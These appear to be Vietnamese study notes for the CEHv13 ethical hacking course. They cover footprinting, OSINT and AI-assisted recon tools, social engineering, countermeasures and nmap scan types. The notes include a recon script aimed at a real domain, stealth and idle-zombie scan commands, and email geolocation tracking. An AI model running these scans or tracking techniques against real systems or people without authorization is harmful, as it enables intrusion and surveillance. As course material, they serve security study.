- **eMailTrackerPro (Trang 244):** Công cụ phân tích tiêu đề email (email headers) và trích xuất thông tin như vị trí địa lý của người gửi, địa chỉ IP. Cho phép lưu lại các dấu vết để xem lại sau.
- **IP2LOCATION's Email Header Tracer (Trang 245):** Dịch vụ mã nguồn mở dùng để phân tích và theo dõi đường dẫn email thông qua email header. Giúp kẻ tấn công truy xuất vị trí mục tiêu và các mail servers mà email đi qua.
- **Các công cụ theo dõi email khác**: Holehe, DNS Checker Email Header Analyzer, và Social Catfish.

Thu thập thông tin từ Tiêu đề Email (Email Header) (Trang 242 - 244)

Email Header chứa nhiều thông tin chi tiết dùng để truy vết nguồn phát thư:

- **System IP address của người nhận**: Theo dõi địa chỉ IP của người đọc thư.
- **Geolocation (Vị trí địa lý)**: Dựa vào IP để tìm tọa độ trên bản đồ.
- **Thông tin Thiết bị, Hệ điều hành và Trình duyệt**: Cho biết loại máy tính (laptop/mobile) và trình duyệt người nhận đang dùng để hacker tìm lỗ hổng tương ứng.
- **Path Travelled (Đường đi)**: Lưu lại các email transfer agents (mail servers) mà email đã đi qua từ nguồn đến đích.
- **Các nền tảng email phổ biến**: eM Client, Mailbird, Hiri, Mozilla Thunderbird, Spike, Claws Mail, SmarterMail Webmail, Outlook, Apple Mail, ProtonMail, AOL Mail, Tuta. Kẻ tấn công trích xuất thông tin Header và dùng các công cụ phân tích tự động.
- **Bảng thu thập thông tin thông qua hoạt động của Người dùng (What Users Do / What Attacker Gets) [Trang 249 - 250]:**

  - Duy trì hồ sơ (Maintain profile) $\rightarrow$ Lấy được thông tin liên hệ, vị trí.
  - Kết nối bạn bè, chat $\rightarrow$ Lấy được danh sách bạn bè, thông tin bạn bè.
  - Chia sẻ hình ảnh, video $\rightarrow$ Biết được danh tính thành viên gia đình, sở thích.
  - Chơi game, tham gia nhóm $\rightarrow$ Biết được sở thích (Interests).
  - Tạo sự kiện (Create events) $\rightarrow$ Biết được các hoạt động (Activities).
- **Bảng thu thập thông tin thông qua hoạt động của Tổ chức (What Organizations Do / What Attacker Gets) [Trang 249 - 250]:**
  - Khảo sát người dùng (User surveys) $\rightarrow$ Lộ chiến lược kinh doanh.
  - Quảng bá sản phẩm $\rightarrow$ Lộ hồ sơ sản phẩm.
  - Hỗ trợ người dùng $\rightarrow$ Tạo đà cho Social engineering.
  - Tuyển dụng (Recruitment) $\rightarrow$ Lộ thông tin về Nền tảng/Công nghệ đang dùng.
  - Kiểm tra lý lịch nhân viên $\rightarrow$ Lộ loại hình kinh doanh.
- **Một số công cụ Footprinting bổ sung [Trang 261]:**
  - **Sudomy** (`https://github.com`)
  - **whatweb** (`https://github.com`)
  - **Raccoon** (`https://github.com`)
  - **Orb** (`https://github.com`)
  - **Web Check** (`https://web-check.xyz`)
  - **OSINT.SH** (`https://osint.sh`)

Kỹ nghệ xã hội (Social Engineering) (Trang 251 - 252)

Kỹ nghệ xã hội là quá trình phi kỹ thuật mà kẻ tấn công lừa nạn nhân vô tình cung cấp thông tin bảo mật.

- **Eavesdropping (Nghe lén - Trang 251):** Hành vi đánh chặn thông tin liên lạc (âm thanh, video, văn bản) mà không có sự đồng ý của các bên, bao gồm cả việc đọc lén tin nhắn hay fax.
- **Shoulder surfing (Nhìn trộm qua vai - Trang 251):** Đứng phía sau nạn nhân và bí mật quan sát các hoạt động trên máy tính như thao tác gõ phím để lấy mật khẩu, mã bảo mật, số tài khoản.
- **Dumpster diving (Bới thùng rác - Trang 251 - 252):** Kẻ tấn công lục lọi thùng rác của công ty để tìm các thông tin giá trị như hóa đơn điện thoại, tài liệu tài chính, mã nguồn, giấy ghi chú (sticky notes).
- **Impersonation (Mạo danh - Trang 252):** Kẻ tấn công giả mạo thành một người hợp pháp hoặc người có thẩm quyền (nhân viên giao hàng, thợ sửa chữa, khách hàng) để lừa mục tiêu tiết lộ thông tin nhạy cảm.

Tự động hóa tác vụ footprinting (Automate Footprinting Tasks) (Trang 253 - 261)

- **Maltego (Trang 253 & 255):** Công cụ tự động dùng để xác định các mối quan hệ và liên kết trong thế giới thực giữa con người, nhóm người, tổ chức, trang web, hạ tầng mạng, và tài liệu.

- **Recon-ng (Trang 253 & 255):** Framework trinh sát web với các module độc lập và tương tác cơ sở dữ liệu, cung cấp môi trường thu thập thông tin mã nguồn mở mạnh mẽ và nhanh chóng.
  - **Mẹo bổ sung:** Kẻ tấn công có thể sử dụng module `recon/domains-hosts/brute_hosts` trong công cụ Recon-ng để trích xuất danh sách các máy chủ (hosts) liên kết với URL mục tiêu.
- **FOCA (Trang 254 & 256):** (Fingerprinting Organizations with Collected Archives) Công cụ chủ yếu dùng để tìm metadata (siêu dữ liệu) và thông tin ẩn trong các tài liệu mà nó quét (đặc biệt là Microsoft Office, Open Office hoặc PDF). Các tính năng chính bao gồm:
  - Web Search: Tìm kiếm các máy chủ và tên miền thông qua các URL liên kết với tên miền chính. Mỗi liên kết được phân tích để trích xuất thông tin host và domain mới.
  - DNS Search: Kiểm tra từng domain để xác định các host name được cấu hình trong các máy chủ NS, MX và SPF.
  - IP Resolution: Phân giải từng host name bằng cách so sánh với DNS để lấy địa chỉ IP. Thực hiện phân tích đối chiếu với DNS nội bộ của tổ chức.
  - PTR Scanning: Tìm thêm các máy chủ trong cùng một phân đoạn của một địa chỉ đã xác định thông qua quét nhật ký PTR.
  - Bing IP: Khởi chạy FOCA như một quá trình tìm kiếm các tên miền mới liên kết với từng địa chỉ IP đã được phát hiện.
  - Common Names: Thực hiện tấn công từ điển (dictionary attacks) vào DNS.
- **subfinder (Trang 254 & 257):** Công cụ phát hiện subdomain, giúp kẻ tấn công tìm các subdomain hợp lệ cho trang web bằng cách sử dụng các nguồn trực tuyến thụ động.
- **OSINT Framework (Trang 254 & 258):** Framework thu thập tình báo nguồn mở tập trung vào việc lấy thông tin từ các công cụ/tài nguyên miễn phí. Nó cung cấp một giao diện web dạng cây (tree structure) liệt kê phân loại các công cụ OSINT.
  - **Các ký hiệu (indicators) của công cụ trên OSINT Framework:**
    - **(T)** - Chỉ ra một liên kết đến công cụ phải được cài đặt và chạy cục bộ (run locally).
    - **(D)** - Là một Google Dork.
    - **(R)** - Công cụ yêu cầu đăng ký tài khoản (Requires registration).
    - **(M)** - Cho biết URL có chứa cụm từ tìm kiếm và bản thân URL đó phải được chỉnh sửa thủ công.
- **Recon-dog (Trang 254 & 259):** Công cụ "all-in-one" cho nhu cầu thu thập thông tin cơ bản. Sử dụng API để lấy thông tin mục tiêu. Các tính năng cốt lõi:
  - Censys: Sử dụng censys.io để thu thập lượng thông tin khổng lồ về một địa chỉ IP.
  - NS lookup: Thực hiện tra cứu máy chủ phân giải tên miền (name server).
  - Port scan: Quét các cổng TCP phổ biến nhất.
  - Detect CMS: Có thể phát hiện hơn 400+ hệ thống quản trị nội dung.
  - Whois lookup: Thực hiện tra cứu Whois.
  - Detect honeypot: Sử dụng shodan.io để kiểm tra xem mục tiêu có phải là một honeypot hay không.
  - Find subdomains: Sử dụng findsubdomains.com để tìm các tên miền phụ.
  - Reverse IP lookup: Thực hiện tra cứu IP ngược để tìm các tên miền liên kết với một IP.
  - Detect technologies: Sử dụng wappalyzer.com để phát hiện hơn 1000+ công nghệ.

  - All: Chạy toàn bộ các tiện ích trên nhắm vào mục tiêu.

- **BillCipher (Trang 254 & 260):** Công cụ thu thập thông tin cho trang web hoặc địa chỉ IP (hỗ trợ Python 2, 3 và Ruby). Bao gồm nhiều tính năng: tra cứu DNS, tra cứu Whois, quét cổng, zone transfer, tìm host và reverse IP lookup.

Các công cụ OSINT được hỗ trợ bởi AI (AI-Powered OSINT Tools) (Trang 262 - 268)

AI giúp tự động hóa quá trình cào dữ liệu web (Web Scraping), nhận dạng mẫu (Pattern Recognition), tóm tắt nội dung (Content Summarization), phân tích cảm xúc (Sentiment Analysis), nhận dạng hình ảnh (Image Recognition - bao gồm Face Recognition, Metadata Analysis, Reverse Image Search), và phát hiện AI (AI Detection).

Lợi ích của việc tích hợp AI trong OSINT (Benefits of Integrating AI in OSINT): - Cải thiện Hiệu quả (Improved Efficiency): AI nâng cao hiệu quả OSINT bằng cách tự động hóa các tác vụ như cào dữ liệu web (web scraping) và trích xuất dữ liệu, giúp đẩy nhanh quá trình. Điều này cho phép điều tra viên tập trung vào phân tích và ra quyết định cấp cao hơn. - Phạm vi lớn hơn (Greater Scope): AI mở rộng phạm vi OSINT bằng cách phân tích lượng dữ liệu khổng lồ từ surface web, deep web và dark web. Khả năng xử lý các tập dữ liệu lớn và xác định kết nối cho phép phát hiện các mẫu (patterns) và mối quan hệ ẩn khó phát hiện thủ công. - Tăng cường khả năng hiển thị (Enhanced Visibility): AI kết nối hàng tỷ điểm dữ liệu dường như không liên quan thành các mạng lưới thông tin mạch lạc, cho phép điều tra viên nhanh chóng xác định các hoạt động đáng ngờ. Các công cụ AI trình bày các mạng lưới này dưới dạng giao diện đồ họa thân thiện với người dùng. - Tăng cường an toàn cho điều tra viên (Increased Investigator Safety): AI hỗ trợ ẩn danh và tự động hóa các cuộc điều tra. Nó giảm thiểu rủi ro làm lộ danh tính của điều tra viên. Các công cụ AI có thể tiến hành điều tra kỹ lưỡng mà không cần sự can thiệp trực tiếp của con người vào các môi trường nguy hiểm như dark web.

- **Taranis AI:** Nền tảng OSINT nâng cao nguồn mở sử dụng NLP và AI để gom nhặt, phân tích các tin tức phi cấu trúc. Các tính năng cốt lõi:
  - **Advanced OSINT Capabilities:** Tìm kiếm trên nhiều nguồn dữ liệu (bao gồm cả websites) để thu thập tin bài phi cấu trúc và cung cấp nguồn cấp dữ liệu tình báo phong phú.
  - **AI-Enhanced Analysis:** Nâng cao các bài báo thu thập được, đảm bảo nội dung chất lượng cao và có liên quan thông qua AI và NLP.
  - **Multi-Format Output:** Tạo ra nhiều loại sản phẩm đầu ra (bao gồm báo cáo có cấu trúc và tệp PDF) được tùy chỉnh để đáp ứng nhu cầu thông tin cụ thể.
  - **Seamless Publishing:** Nền tảng cho phép dễ dàng xuất bản các sản phẩm tình báo đã hoàn thiện, đảm bảo phổ biến thông tin kịp thời đến các bên liên quan.
- **OSS Insight:** Phân tích kho dữ liệu khổng lồ của GitHub (hơn 5 tỷ sự kiện) để cung cấp cái nhìn sâu sắc về hệ sinh thái mã nguồn mở. Các tính năng cốt lõi:
  - **GPT-Powered Data Exploration:** Cho phép truy vấn dữ liệu GitHub bằng ngôn ngữ tự nhiên, tạo truy vấn SQL và trình bày kết quả trực quan mà không yêu cầu kỹ năng SQL nâng cao.
  - **Technical Fields Analytics:** Quản lý và phân tích các bộ sưu tập GitHub trong các lĩnh vực kỹ thuật (web frameworks, AI, Web3) để xác định các công nghệ mới nổi và lỗ hổng tiềm ẩn.
  - **Developer Analytics:** Theo dõi số liệu năng suất của nhà phát triển (commits, pull requests, code contributions) để đánh giá độ tin cậy và xác định các điểm yếu do rủi ro nội bộ hoặc đóng góp thấp.
  - **Repository Analytics:** Đánh giá các số liệu của kho lưu trữ (độ phổ biến, tần suất cập nhật, mức độ tương tác) để xác định các kho lưu trữ dễ bị tấn công do mã lỗi thời hoặc ít người quản lý.
  - **Compare Projects:** Dễ dàng so sánh số liệu giữa các dự án GitHub khác nhau (mức độ hoạt động, hiệu quả xử lý sự cố...) để nhắm mục tiêu chiến lược.

  - **Tầm quan trọng trong OSINT:** Cung cấp dữ liệu theo thời gian thực và dữ liệu lịch sử (GHArchive), kết hợp cùng khả năng truy vấn AI để tìm kiếm các lỗ hổng phần mềm hoặc vector tấn công.

- **Các công cụ OSINT AI bổ sung**:
  - **DorkGPT / DorkGenius**: Trợ lý AI tự động tạo các câu lệnh Google Dorks chính xác.
  - **Google Word Sniper**: Tinh chỉnh truy vấn Google để tìm thông tin bị ẩn sâu.
  - **Cylect.io**: Giao diện tích hợp nhiều cơ sở dữ liệu OSINT sử dụng AI.
  - **ChatPDF**: Ứng dụng AI để phân tích và tóm tắt nhanh dữ liệu từ tệp PDF.
  - **Bardeen.ai**: Tự động hóa quá trình thu thập và phân tích dữ liệu trực tuyến.
  - **DarkGPT**: Trợ lý AI (sử dụng GPT-4) chuyên tìm kiếm và truy vấn các cơ sở dữ liệu bị rò rỉ (leaked databases) trên môi trường bị xâm nhập.
  - **PenLink Cobwebs**: Nền tảng OSINT nâng cao để phân tích, thu thập tình báo mạng.
  - **Explore AI**: Công cụ tìm kiếm YouTube bằng AI để trích xuất thông tin video.
  - **AnyPicker**: Công cụ cào dữ liệu web trực quan có tích hợp AI (không cần kỹ năng lập trình).

Tự động hóa Footprinting bằng Custom Python Script và AI (Trang 269 - 273)

Hacker có thể yêu cầu AI viết các kịch bản tự động bằng Python để quét thông tin mục tiêu. Ví dụ: Prompt AI yêu cầu tạo một đoạn script nhận domain làm tham số đầu vào và tự động kích hoạt các công cụ như `dig` (DNS Lookup), `whois` (WHOIS info), `theHarvester` (Email enumeration) thông qua thư viện subprocess.

```
cat <<< EOF > website_footprinting.py
import subprocess

def dns_lookup(domain):
    return subprocess.getoutput(f"dig {domain} ANY +noall +answer")

def whois_lookup(domain):
    return subprocess.getoutput(f"whois {domain}")

def email_enumeration(domain):
    return subprocess.getoutput(f"theHarvester -d {domain} -b all -l 100")

def run_footprinting(domain):
    print("Performing DNS Lookup...")
    dns_info = dns_lookup(domain)
    print(dns_info)

    print("\textbackslash{}nPerforming Whois Lookup...")
    whois_info = whois_lookup(domain)
    print(whois_info)

    print("\textbackslash{}nEnumerating Emails...")
    emails = email_enumeration(domain)
    print(emails)

domain = 'www.microsoft.com'
```

```
run_footprinting(domain)
EOF
python3 website_footprinting.py
```

Giải thích: Kịch bản Python này định nghĩa bốn hàm: `dns_lookup`, `whois_lookup`, `email_enumeration`, và `run_footprinting`. Nó tự động hóa việc gọi các tiện ích dòng lệnh (`dig`, `whois`, `theHarvester`) cho domain chỉ định và in toàn bộ thông tin tình báo ra màn hình.

Các biện pháp phòng chống Footprinting (Footprinting Countermeasures) (Trang 274 - 276)

Để ngăn chặn các nỗ lực do thám từ kẻ tấn công, các tổ chức cần thực hiện các biện pháp:

- Hạn chế quyền truy cập của nhân viên vào các trang mạng xã hội từ mạng lưới tổ chức.
- Đào tạo nhận thức về bảo mật (Security awareness training) để nhân viên phòng tránh các rủi ro Social Engineering, yêu cầu sử dụng biệt danh (pseudonyms) trên blog, diễn đàn.
- Cấu hình máy chủ web đúng cách để tránh rò rỉ thông tin (Information leakage) và vô hiệu hóa tính năng liệt kê thư mục (Directory listings) trên web server.
- Sử dụng cơ chế DNS phân tách (Split DNS) (Tách biệt internal DNS và external DNS) và hạn chế chuyển vùng (zone transfer) đối với các máy chủ ủy quyền.
- Lựa chọn dịch vụ quyền riêng tư (Privacy services) cho cơ sở dữ liệu Whois để ẩn thông tin chi tiết về người đăng ký.
- Không tiết lộ các thông tin kỹ thuật, tên sản phẩm, công nghệ chiến lược trên các bảng thông báo, ấn phẩm tuyển dụng hay các thông cáo báo chí.
- Ngăn chặn công cụ tìm kiếm lưu trữ trang web trong bộ đệm (Caching) hoặc xóa lịch sử trên archive.org nếu cần thiết.
- Sử dụng các kỹ thuật footprinting để tự khám phá và gỡ bỏ bất kỳ thông tin nhạy cảm nào đang bị công khai.
- Giới hạn lượng thông tin được xuất bản trên website hoặc Internet.
- Xây dựng và thực thi các chính sách bảo mật (như chính sách bảo mật thông tin và mật khẩu) để kiểm soát chặt chẽ những gì nhân viên có thể tiết lộ cho bên thứ ba.
- Làm sạch (Sanitize) các chi tiết cung cấp cho các nhà đăng ký Internet (Internet registrars) để ẩn thông tin liên hệ trực tiếp của tổ chức.
- Tránh tiết lộ vị trí hoặc kế hoạch di chuyển (travel plans) trên các trang mạng xã hội.
- Triển khai xác thực đa yếu tố (MFA).
- Giấu địa chỉ IP máy chủ thực đằng sau các Proxy bảo mật hoặc mạng VPN.
- Vô hiệu hóa (Turn off) quyền truy cập và tính năng gắn thẻ địa lý (geo-tagging) trên các thiết bị di động, camera khi không cần thiết để tránh bị theo dõi (geolocation tracking).
- Tránh liên kết chéo cấp tên miền (cross-linking) cho các tài sản quan trọng.
- Mã hóa và bảo vệ bằng mật khẩu các thông tin nhạy cảm.
- Triển khai CAPTCHA và giới hạn tốc độ (rate limiting) trên các dịch vụ công khai để ngăn chặn công cụ tự động thu thập thông tin ở tốc độ cao.

- Không bật các giao thức mạng không cần thiết.
- Luôn sử dụng bộ lọc TCP/IP và IPsec để phòng thủ theo chiều sâu (defense in depth).
- Cấu hình Internet Information Services (IIS) để tránh rò rỉ thông tin qua quá trình banner grabbing.
- Lưu trữ các tài liệu quan trọng như kế hoạch kinh doanh, tài liệu độc quyền ở trạng thái ngoại tuyến (offline) để tránh bị khai thác.
- Đảm bảo không có thông tin quan trọng nào (như kế hoạch chiến lược, thông tin sản phẩm, dự báo doanh số) được hiển thị trên bảng thông báo hoặc tường.
- Vô hiệu hóa hoặc xóa tài khoản của những nhân viên đã rời khỏi tổ chức.
- Cấu hình máy chủ thư (mail servers) để bỏ qua các email từ các cá nhân ẩn danh.
- Triển khai hệ thống Honeypots hoặc Honeynets để thu hút, giăng bẫy và chuyển hướng kẻ tấn công ra khỏi các hệ thống quan trọng.

1. Cổng (Ports) và Phân loại

Lưu ý: Bảng dưới đây cung cấp thông tin các port quan trọng, bao gồm cả cấu hình cổng được trích xuất từ bảng "Reserved ports table" và các công cụ thực tế.

- `0-1023`: Well-known ports (Cổng được biết đến nhiều)
- `1024-49151`: Registered ports (Cổng đăng ký)
- `49152-65535`: Dynamic/Private ports (Cổng động/riêng tư)

Port number / Protocol	Dịch vụ (Service)
21/tcp	ftp (Lệnh FTP)
22/tcp	ssh (Secure Shell)
23/tcp	telnet
25/tcp	SMTP (Email server)
53/tcp, udp	domain (Domain name server - DNS)
67/udp	bootps (Bootp server - DHCP)
68/udp	bootpc (Bootp client - DHCP)
69/udp	tftp (Trivial File Transfer Protocol)
80/tcp, udp	www-http (WWW)
88/tcp, udp	kerberos
110/tcp	Pop3 (PostOffice V.3)
123/udp	ntp (Network Time Protocol)
135/tcp	msrpc (Microsoft Windows RPC - theo Nmap)
137/tcp, udp	netbios-ns (NETBIOS Name Service)
138/tcp, udp	netbios-dgm (NETBIOS Datagram Service)
139/tcp, udp	netbios-ssn (NETBIOS Session Service)
143/tcp, udp	imap (Internet Message Access Protocol)
161/tcp, udp	snmp
389/tcp, udp	ldap (Được xác định theo Nmap)
443/tcp	https (Được xác định theo Nmap)
445/tcp	kerberos-ds (Microsoft DS / SMB)
514/tcp, udp	syslog/shell

Công cụ và Lệnh liên quan:

- **`CurrPorts`**: Công cụ xem tất cả các cổng đang mở và kết nối TCP/UDP trên máy.
- **`netstat`**: Lệnh dùng để hiển thị các kết nối mạng, bảng định tuyến và các cổng đang lắng nghe.
- **`netstat -b`**: Hiển thị file thực thi của cổng/chương trình đang sử dụng (chỉ có trên Windows, cần quyền admin).

Trạng thái cổng (Port states):

- **`CLOSE_WAIT`**: Chờ ứng dụng cục bộ đóng kết nối (phía từ xa đã đóng).
- **`TIME_WAIT`**: Chờ đủ thời gian để đảm bảo mạng không còn gói tin lạc sau khi kết nối đóng.

---

2. Giao thức IPv4 và ICMP

- **IPv4**: Hỗ trợ Unicast, Multicast và Broadcast. IPv4 sử dụng các dải Private IP theo chuẩn IANA (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).
- **ICMP (Lớp mạng)**: Internet Control Message Protocol được sử dụng nhiều cho kỹ thuật Ping Sweep và Traceroute.
  - Các mã thông điệp ICMP phổ biến (ICMP Type):
    - **0**: Echo Reply
    - **3**: Destination unreachable *(Đặc biệt chú trọng khi quét cổng, hệ thống có thể trả về lỗi Type 3 với các Code như 0, 1, 2, 3, 9, 10, hoặc 13)*.
    - **4**: Source quench
    - **5**: Redirect
    - **8**: Echo request
    - **11**: Time exceeded

---

3. Ping Sweep và Công cụ (Trang 305, 316-317)

- **Định nghĩa**: Ping sweep (hay ICMP sweep) là kỹ thuật quét mạng cơ bản bằng cách gửi các yêu cầu ICMP ECHO tới nhiều máy chủ cùng lúc để xác định dải IP nào đang hoạt động. Tuy nhiên, phương pháp này khá chậm, "ồn ào" (noisy) và có thể bị tường lửa ngăn chặn.
- **Công cụ quét Ping**:
  - **Angry IP Scanner**: Quét dải IP và port, xác định MAC, hostname và thông tin NetBIOS.
  - **SolarWinds Engineer's Toolset**
  - **NetScanTools Pro**
  - **Colasoft Ping Tool**
  - **Advanced IP Scanner**
  - **OpUtils**

– *(Bổ sung)*: **Network Ping**, **Superscan**, **Pinkie** (các công cụ mở rộng thường đi kèm quét Nmap qua TOR).

---

4. Kỹ thuật ARP Ping Scan (Trang 301 - 303)

- **Cách hoạt động**: Các gói tin ARP được gửi đi để khám phá thiết bị đang hoạt động trong mạng IPv4 nội bộ (LAN), ngay cả khi bị tường lửa hạn chế. Hệ điều hành phải xác định địa chỉ MAC qua ARP. Nếu máy chủ phản hồi IP với địa chỉ MAC tương ứng, nó đang "sống". ARP hiệu quả và chính xác hơn các phương pháp khác trong mạng LAN.
- **Lệnh Nmap**: `nmap -sn -PR <Target IP>`.
  - Tùy chọn `-PR` dùng để thực hiện quét ARP Ping.
  - Tùy chọn `-sn` dùng để vô hiệu hóa tính năng quét cổng (port scan).

---

5. Các kiểu quét cổng (Port Scan Types)

Port scanner hoạt động bằng cách điều khiển các cờ TCP (`SYN`, `ACK`, `RST`, `FIN`, `URG`, `PSH`) để xác định trạng thái cổng. Các phương pháp chuyên sâu bao gồm:

- **TCP Connect / Full Open Scan (Trang 323 - 324)**: Hoàn thành quy trình bắt tay 3 bước (three-way handshake). Nmap sử dụng lệnh gọi hệ thống `connect()`. Nếu cổng mở, mục tiêu trả về `SYN/ACK`, máy quét phản hồi `ACK` rồi lập tức gửi `RST` để đóng kết nối. Đáng tin cậy nhưng dễ bị phát hiện vì tạo ra log trên máy mục tiêu. Lệnh: `nmap -sT`.
- **Stealth Scan / Half-open / SYN Scan (Trang 325 - 326)**: Quét lén lút bằng cách cắt đứt kết nối trước khi hoàn tất bắt tay 3 bước. Kẻ tấn công gửi gói `SYN`, nếu nhận được `SYN/ACK` (cổng mở), họ lập tức gửi `RST` để hủy. Giúp vượt qua quy tắc tường lửa và không bị ghi log. Lệnh: `nmap -sS`.
- **Inverse TCP Flag Scan (Trang 327)**: Gửi gói TCP với các cờ `FIN`, `URG`, `PSH` hoặc không có cờ nào. Nếu cổng mở, mục tiêu sẽ không có phản hồi. Nếu cổng đóng, mục tiêu trả về gói `RST/ACK`. Tránh được IDS nhưng chủ yếu hoạt động trên hệ thống Unix/BSD. Windows thường phớt lờ và báo mọi cổng đều mở. Dùng lệnh `nmap -sF`, `nmap -sN`, `nmap -sX`.
- **XMAS Scan (Trang 328 - 329)**: Một dạng quét đảo ngược (inverse). Bật tất cả các cờ `FIN`, `URG` và `PUSH`. Tương tự như Inverse Scan, cổng mở không phản hồi, cổng đóng trả về `RST`. Không hiệu quả trên các phiên bản Microsoft Windows. Lệnh: `nmap -sX`.
- **ACK Flag Probe Scan (Trang 331 - 333)**: Gửi gói `ACK` và kiểm tra header trả về (Trường TTL hoặc trường Window) của gói `RST` để xác định cổng mở hoặc để kiểm tra cơ chế lọc của tường lửa (stateful firewall). Nếu TTL < 64 hoặc trường Window có giá trị khác 0, cổng đó mở. Lệnh: `nmap -sA`.
- **IDLE / IPID Header Scan (Trang 334 - 336)**: Sử dụng một máy trạm rảnh rỗi (idle zombie) để làm "bia đỡ đạn" và giả mạo IP. Kẻ tấn công đo lường số thứ tự IPID của máy zombie, sau đó gửi gói `SYN` tới mục tiêu bằng địa chỉ IP giả mạo của zombie. Nếu cổng mục tiêu mở, nó gửi `SYN/ACK` cho zombie, khiến zombie gửi `RST` và tăng IPID lên thêm một bậc. Dựa vào bước nhảy của IPID (+1 = đóng, +2 = mở), kẻ tấn công quét được mục tiêu mà không lộ IP thật. Lệnh: `nmap -sI <Zombie IP> <Target>`.

---

6. Các công cụ liên quan

- **Nmap (Network Mapper) (Trang 290)**: Là công cụ quét mạng và bảo mật mạnh mẽ. Nmap cho phép cấu hình linh hoạt các gói tin TCP/UDP để khám phá máy chủ, cổng, dịch vụ, hệ điều hành (OS detection), phát hiện tường lửa và thực hiện ping sweep.
- **Hping3 (Trang 292 - 297)**: Công cụ tạo gói tin (packet crafting tool) qua dòng lệnh. Hỗ trợ TCP, UDP, ICMP và raw-IP. Kẻ tấn công dùng Hping3 để kiểm tra tường lửa, vượt qua IDS, IP spoofing, khám phá MTU, SYN flood, ACK scan và quét lén lút (stealth/idle).
- **NetScanTools Pro (Trang 299)**: Công cụ điều tra mạng tổng hợp (active, passive, DNS) giúp chẩn đoán, giám sát và thu thập thông tin người dùng, IP, cổng mở IPv4/IPv6.
- **MIB Info**: *Management Information Base* - thường được dùng trong quá trình phân tích danh sách (SNMP Enumeration).

CEHv13 - Module 03 - Scanning Networks

Giới thiệu

Phân loại Quét mạng (Types of Scanning) [Trang 284 - 285]:

- **Port Scanning (Quét cổng):** Liệt kê các cổng và dịch vụ đang mở. Quá trình này kết nối hoặc thăm dò các cổng TCP/UDP của hệ thống mục tiêu để xem các dịch vụ có đang ở trạng thái lắng nghe (listening) hay không.
- **Network Scanning (Quét mạng):** Quy trình xác định các máy chủ (hosts) đang hoạt động và địa chỉ IP của chúng trên mạng để chuẩn bị tấn công hoặc đánh giá bảo mật.
- **Vulnerability Scanning (Quét lỗ hổng):** Phương pháp kiểm tra xem hệ thống có thể bị khai thác hay không bằng cách xác định các điểm yếu/lỗ hổng đã biết thông qua cơ sở dữ liệu lỗ hổng.

Mục đích của việc quét mạng là khám phá các kênh liên lạc có thể bị khai thác, thăm dò càng nhiều cổng lắng nghe (listeners) càng tốt và theo dõi những cổng phản hồi hoặc hữu ích cho nhu cầu cụ thể của kẻ tấn công. Trong giai đoạn quét của một cuộc tấn công, kẻ tấn công cố gắng tìm ra nhiều cách khác nhau để xâm nhập vào hệ thống mục tiêu. Kẻ tấn công cũng cố gắng khám phá thêm thông tin về hệ thống mục tiêu để xác định sự hiện diện của bất kỳ lỗ hổng cấu hình nào, từ đó sử dụng các thông tin thu được để phát triển chiến lược tấn công.

Quét mạng không chỉ dùng để nhận diện địa chỉ IP và cổng mở. Nó còn là bước thu thập thông tin chiến lược để xây dựng bản đồ mạng, đánh giá kỹ thuật phòng thủ hiện có và xác định lỗ hổng yếu nhất trong chuỗi phòng thủ. Một cuộc quét hiệu quả phải cho biết cả trạng thái của host, tính khả dụng của dịch vụ và bề mặt tấn công của hệ thống đích.

Mục tiêu của Quét mạng (Objectives of Network Scanning) [Trang 284 - 285]:

- Phát hiện các live hosts, địa chỉ IP và các cổng đang mở trên mạng.
- Khám phá Hệ điều hành (OS) và kiến trúc hệ thống của mục tiêu (còn gọi là OS fingerprinting).
- Khám phá các dịch vụ đang chạy/lắng nghe trên hệ thống mục tiêu để tìm ra lỗ hổng có thể bị khai thác.
- Xác định các ứng dụng cụ thể hoặc phiên bản của một dịch vụ cụ thể.
- Nhận diện các lỗ hổng trên bất kỳ hệ thống mạng nào.
- Vẽ sơ đồ cấu trúc liên kết mạng (Network topology), bao gồm thiết bị, router, switch và sự kết nối giữa chúng.
- Khai thác thông tin thiết bị và lớp mạng để xác định vị trí của tường lửa, VPN, DMZ và các điểm yếu trong kiến trúc.
- Sử dụng các cổng đang mở, kẻ tấn công sẽ xác định phương thức tốt nhất để xâm nhập vào hệ thống.
- Thông qua OS fingerprinting, kẻ tấn công có thể xây dựng chiến lược tấn công dựa trên các lỗ hổng của Hệ điều hành đó.
- Việc khám phá các dịch vụ cung cấp cho kẻ tấn công dấu hiệu về các lỗ hổng (dựa trên dịch vụ) có thể bị khai thác để giành quyền truy cập vào hệ thống đích.
- Xác định các lỗ hổng trên bất kỳ hệ thống mạng nào giúp kẻ tấn công xâm phạm hệ thống hoặc mạng mục tiêu thông qua các mã khai thác (exploits) đa dạng.

1. TCP Communication Flags (Cờ giao tiếp TCP) - Trang 286-287

Tiêu đề TCP chứa 6 cờ kiểm soát (mỗi cờ kích thước 1 bit) để quản lý kết nối giữa các host:

- **`SYN` (Synchronize):** Báo hiệu việc truyền một số thứ tự (sequence number) mới. Cờ này đại diện cho việc thiết lập kết nối ban đầu (bắt tay 3 bước - three-way handshake).

- **`ACK` (Acknowledgement):** Xác nhận đã nhận được đường truyền và xác định số thứ tự dự kiến tiếp theo. Được đặt trên mọi phân đoạn sau gói `SYN` ban đầu.
- **`FIN` (Finish):** Đặt thành "1" để thông báo đóng kết nối một cách nhẹ nhàng, báo hiệu không có thêm dữ liệu nào được gửi đến hệ thống từ xa nữa.
- **`RST` (Reset):** Buộc chấm dứt liên lạc. Đặt thành "1" khi có lỗi trong kết nối hiện tại để hủy bỏ kết nối. Kẻ tấn công thường dùng cờ này để quét các cổng mở.
- **`PSH` (Push):** Ép chuyển giao dữ liệu ngay lập tức. Báo cho hệ thống từ xa biết cần chuyển ngay dữ liệu đang đệm cho ứng dụng nhận.
- **`URG` (Urgent):** Đánh dấu dữ liệu là ưu tiên (gửi ngoài luồng - out-of-band). Hướng dẫn hệ thống xử lý dữ liệu chứa trong gói càng sớm càng tốt, tạm dừng các quá trình xử lý dữ liệu khác.
- **Lưu ý về quét SYN:** Quét SYN chỉ cần gửi gói `SYN` đến cổng mục tiêu và chờ phản hồi `SYN/ACK` hoặc `RST`. Do không hoàn tất quá trình bắt tay 3 bước, phương pháp này thường ít bị ghi log và khó bị phát hiện hơn so với quét TCP Connect. Các cờ khác như `URG`, `PSH` thường không cần dùng trong quét SYN truyền thống.
